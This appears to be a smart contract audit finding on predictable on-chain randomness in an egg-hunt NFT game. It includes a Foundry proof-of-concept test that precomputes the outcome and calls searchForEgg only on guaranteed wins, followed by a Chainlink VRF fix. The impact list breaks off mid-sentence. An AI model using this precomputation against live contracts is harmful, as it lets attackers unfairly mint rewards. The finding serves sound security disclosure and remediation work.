An attacker can calculate the outcome before calling the function and only execute the transaction when they know they'll find an egg.
Impact: High. This vulnerability allows attackers to:
Manual code review, also used Proof of Code function testPredictableRandomness() to test the weak randomness vulnerability and prove exploit gives a 100% success rate when the function is called.
function testPredictableRandomness() public {
uint256 eggInitialEggCounter = s_eggGame.eggCounter();
uint256 eggInitialPlayerEggs = s_eggGame.eggsFound(s_player);
vm.startPrank(s_player);
uint256 eggSuccessfulFinds = 0;
uint256 eggAttempts = 20;
for (uint256 eggAttempt = 0; eggAttempt < eggAttempts; eggAttempt++) {
vm.warp(block.timestamp + eggAttempt);
vm.roll(block.number + eggAttempt);
bytes32 eggMockPrevrandao = bytes32(uint256(eggAttempt * 100));
vm.prevrandao(eggMockPrevrandao);
uint256 eggExpectRandom = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, s_player, s_eggGame.eggCounter()))
) % 100;
if (eggExpectRandom < s_eggGame.eggFindThreshold()) {
s_eggGame.searchForEgg();
eggSuccessfulFinds++;
}
}
vm.stopPrank();
assertEq(s_eggGame.eggsFound(s_player) - eggInitialPlayerEggs, eggSuccessfulFinds);
assertEq(s_eggGame.eggCounter(), eggInitialEggCounter + eggSuccessfulFinds);
console.log("Successful egg finds:", eggSuccessfulFinds);
console.log("Success rate when function called: 100%");
}
VRFCoordinatorV2Interface private immutable COORDINATOR;
bytes32 private immutable keyHash;
uint64 private immutable subscriptionId;
uint32 private immutable callbackGasLimit = 100000;
uint16 private immutable requestConfirmations = 3;
uint32 private immutable numWords = 1;
mapping(uint256 => address) private vrfRequests;
mapping(address => bool) public pendingSearches;
constructor(
address _eggNFTAddress,
address _eggVaultAddress,
address _vrfCoordinator,
bytes32 _keyHash,
uint64 _subscriptionId
)
VRFConsumerBaseV2(_vrfCoordinator)
Ownable(msg.sender)
{
require(_eggNFTAddress != address(0), "Invalid NFT address");
require(_eggVaultAddress != address(0), "Invalid vault address");
eggNFT = EggstravaganzaNFT(_eggNFTAddress);
eggVault = EggVault(_eggVaultAddress);
COORDINATOR = VRFCoordinatorV2Interface(_vrfCoordinator);
keyHash = _keyHash;
subscriptionId = _subscriptionId;
}
function searchForEgg() external {
require(gameActive, "Game not active");
require(block.timestamp >= startTime, "Game not started yet");
require(block.timestamp <= endTime, "Game ended");
require(!pendingSearches[msg.sender], "Search already pending");
uint256 requestId = COORDINATOR.requestRandomWords(
keyHash,
subscriptionId,
requestConfirmations,
callbackGasLimit,
numWords
);
vrfRequests[requestId] = msg.sender;
pendingSearches[msg.sender] = true;
emit SearchInitiated(msg.sender, requestId);
}
function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {
address player = vrfRequests[requestId];
require(player != address(0), "Invalid request ID");
pendingSearches[player] = false;
if (!gameActive || block.timestamp > endTime) {
return;
}
uint256 random = randomWords[0] % 100;
if (random < eggFindThreshold) {
eggCounter++;
eggsFound[player] += 1;
eggNFT.mintEgg(player, eggCounter);
emit EggFound(player, eggCounter, eggsFound[player]);
}
delete vrfRequests[requestId];
}
function getGameStatus() external view returns (string memory) {
if (gameActive) {
if (block.timestamp < startTime) {
return "Game not started yet";
} else if (block.timestamp >= startTime && block.timestamp <= endTime) {
return "Game is active";
} else {
return "Game time elapsed";
}
} else {
return "Game is not active";
}
}
function getTimeRemaining() external view returns (uint256) {
return block.timestamp >= endTime ? 0 : endTime - block.timestamp;
}
function hasPendingSearch(address player) external view returns (bool) {
return pendingSearches[player];
}